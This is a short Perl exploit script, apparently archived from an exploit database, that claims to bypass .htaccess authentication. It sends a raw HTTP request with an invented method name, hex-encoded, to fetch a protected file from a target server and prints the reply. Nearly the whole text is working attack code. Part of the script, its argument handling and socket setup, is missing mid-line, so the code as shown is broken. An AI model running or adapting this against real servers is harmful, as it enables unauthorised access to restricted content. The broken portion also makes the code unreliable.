use IO::Socket; use strict; use warnings; # __________________________________________________ # # ------------------------------------------------ # | htaccess request authentication bypass exploit | # ------------------------------------------------ # # written by katharsis - www.katharsis.x2.to # # __________________________________________________ < $host, PeerPort => '80', Proto => 'tcp', ); my $packet = "\x4D\x58\x48\x5A\x4D\x58\x20".$file. "\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\n". "\x48\x6F\x73\x74\x3A\x20".$host."\n\n\n"; print $socket $packet; while(<$socket>) { print; } close($socket); # Iranian Exploit DataBase = http://IeDb.Ir [2016-12-17]